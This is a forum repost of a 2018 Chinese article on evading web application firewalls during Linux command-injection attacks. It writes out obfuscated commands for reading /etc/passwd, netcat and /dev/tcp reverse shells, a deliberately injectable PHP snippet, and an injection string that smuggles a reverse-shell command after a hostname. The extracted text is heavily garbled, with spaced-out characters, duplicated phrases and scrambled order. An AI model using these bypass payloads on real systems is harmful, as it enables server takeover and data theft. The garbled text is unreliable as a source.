搜索

[13256] 2018-10-02_命令执行WAF绕过技巧总结

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-10-02_命令执行WAF绕过技巧总结 命 令 执 行 W A F 绕 过 技 巧 总 结 z u s h e n g   F r e e B u f   2 0 1 8 - 1 0 - 0 2 * 本 文 作 者 ： 本 文 作 者 ： z u s h e n g ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 前 言 前 言 如 今 市 面 上 的 如 今 市 面 上 的 W A F 几 乎 都 已 经 具 备 了 针 对 几 乎 都 已 经 具 备 了 针 对 R C E 攻 击 的 防 御 能 力 ， 这 些 攻 击 的 防 御 能 力 ， 这 些 W A F 并 不 是 想 象 中 毫 无 破 绽 ， 当 并 不 是 想 象 中 毫 无 破 绽 ， 当 W e b 服 服 务 器 是 务 器 是 L i n u x 平 台 时 我 们 就 可 以 利 用 一 些 技 巧 来 绕 过 平 台 时 我 们 就 可 以 利 用 一 些 技 巧 来 绕 过 W A F 规 则 集 。 本 文 主 要 总 结 规 则 集 。 本 文 主 要 总 结 L i n u x 平 台 下 针 对 平 台 下 针 对 R C E   W A F 的 的 绕 过 技 巧 ， 绕 过 技 巧 ， W i n d o w s 平 台 不 在 本 文 考 虑 范 围 内 。 平 台 不 在 本 文 考 虑 范 围 内 。 0 x 0 1   技 巧 一 ： 通 配 符 技 巧 一 ： 通 配 符 在 b a s h 的 操 作 环 境 中 有 一 个 非 常 有 用 的 功 能 ， 那 就 是 通 配 符 ， 下 面 列 出 一 些 常 用 的 通 配 符 ： 我 们 可 以 使 用 通 配 符 来 执 行 命 令 ， 例 如 执 行 命 令 ： 读 取 / e t c / p a s s w d ： *         代 表 『   0   个 到 无 穷 多 个 』 任 意 字 符 ?         代 表 『 一 定 有 一 个 』 任 意 字 符 [   ]         同 样 代 表 『 一 定 有 一 个 在 括 号 内 』 的 字 符 ( 非 任 意 字 符 ) 。 例 如   [ a b c d ]   代 表 『 一 定 有 一 个 字 符 ，   可 能 是   a ,   b ,   c ,   d   这 四 个 任 何 一 个 』 [   -   ]         若 有 减 号 在 中 括 号 内 时 ， 代 表 『 在 编 码 顺 序 内 的 所 有 字 符 』 。 例 如   [ 0 - 9 ]   代 表   0   到   9   之 间 的 所 有 数 字 ， 因 为 数 字 的 语 系 编 码 是 连 续 的 ！ [ ^   ]         若 中 括 号 内 的 第 一 个 字 符 为 指 数 符 号   ( ^ )   ， 那 表 示 『 反 向 选 择 』 ， 例 如   [ ^ a b c ]   代 表   一 定 有 一 个 字 符 ， 只 要 是 非   a ,   b ,   c   的 其 他 字 符 就 接 受 的 意 思 。 l s   - l 使 用 通 配 符 / ? i n / ? s   - l / ? ? ? / ? ? t   / ? ? c / p ? ? ? w ? 有 时 候 W A F 不 允 许 使 用 太 多 的 ? 号 / ? i n / c a t   / ? t c / p ? s s w d
N C 反 弹 s h e l l ： 0 x 0 2   技 巧 二 ： 连 接 符 技 巧 二 ： 连 接 符 在 b a s h 的 操 作 环 境 中 还 有 一 个 非 常 有 用 的 功 能 ， 那 就 是 连 接 符 ， 例 如 ： 你 唯 一 需 要 注 意 的 就 是 闭 合 ， 这 点 很 重 要 ， 利 用 这 个 我 们 可 以 绕 过 一 些 匹 配 字 符 串 的 W A F 规 则 。 读 取 / e t c / p a s s w d ： n c   - e   / b i n / b a s h   1 2 7 . 0 . 0 . 1   3 7 3 7 为 了 避 免 符 号 . 我 们 可 以 将 I P 地 址 转 换 成 整 型 。 1 2 7 . 0 . 0 . 1   →   2 1 3 0 7 0 6 4 3 3 使 用 通 配 符 r o o t @ k a l i : ~ #   / ? ? n / ? c   - e   / ? ? n / b ? ? h   2 1 3 0 7 0 6 4 3 3   3 7 3 7 r o o t @ k a l i : ~ #   e c h o   h e l l o h e l l o r o o t @ k a l i : ~ #   e c h o   h ' e l l o >   ' h e l l o r o o t @ k a l i : ~ #   e c h o   ' h ' e l l ' o ' h e l l o / ' b ' i ' n ' / ' c ' a ' t '   / ' e ' t ' c ' / ' p ' a ' s ' s ' w ' d
获 取 获 取 s h e l l 检 测 N C ： 没 有 N C 的 情 况 检 查 w g e t ： 简 单 粗 暴 （ 容 易 被 检 查 ） ： 其 他 字 符 ： / ' b ' i ' n ' / ' w ' h ' i ' c ' h '   ' n ' c / ' b ' i ' n ' / ' w ' h ' i ' c ' h '   ' w ' g ' e ' t b a s h   - c   ' s h   - i   & > / d e v / t c p / 2 1 3 0 7 0 6 4 3 3 / 3 7 3 7   0 > & 1 ' 双 引 号 / " b " i " n " / " w " h " i " c " h "   " n " c 反 斜 杆 / b i n / w h i c h   n c
0 x 0 3   技 巧 三 ： 未 初 始 化 的 技 巧 三 ： 未 初 始 化 的 b a s h 变 量 变 量 在 b a s h 环 境 中 允 许 我 们 使 用 未 初 始 化 的 b a s h 变 量 ， 如 何 我 们 事 先 并 没 有 定 义 它 们 ， 输 出 看 看 ： 未 初 始 化 的 变 量 值 都 是 n u l l 。 读 取 / e t c / p a s s w d ： 测 试 测 试 W A F 测 试 代 码 ： $ a , $ b , $ c r o o t @ k a l i : ~ #   e c h o   $ a r o o t @ k a l i : ~ #   e c h o   $ b r o o t @ k a l i : ~ #   e c h o   $ c r o o t @ k a l i : ~ # c a t $ a   / e t c $ a / p a s s w d $ a < ? p h p e c h o   " O K " ; s y s t e m ( ' d i g   ' . $ _ G E T [ ' h o s t ' ] ) ; ? >
反 弹 s h e l l ： 执 行 ： 成 功 ： 0 x 0 4   总 结 总 结 本 文 我 们 主 要 利 用 了 b a s h 的 通 配 符 、 连 接 符 、 未 初 始 化 的 变 量 三 个 特 性 来 绕 过 W A F 规 则 ， 当 然 你 可 能 有 更 好 的 办 法 ， 欢 迎 大 家 补 充 ， 最 后 感 谢 乐 于 分 享 的 安 全 研 究 员 们 ， 没 他 们 的 分 享 也 不 会 有 这 么 多 技 巧 出 现 ， 谢 谢 分 享 。 * 本 文 作 者 ： 本 文 作 者 ： z u s h e n g ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 w w w . b a i d u . c o m ; $ s / b i n $ s / w h i c h $ s   n c $ s / b i n $ s / n c $ s   - e   / b i n $ s / b a s h $ s   2 1 3 0 7 0 6 4 3 3   3 7 3 7
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理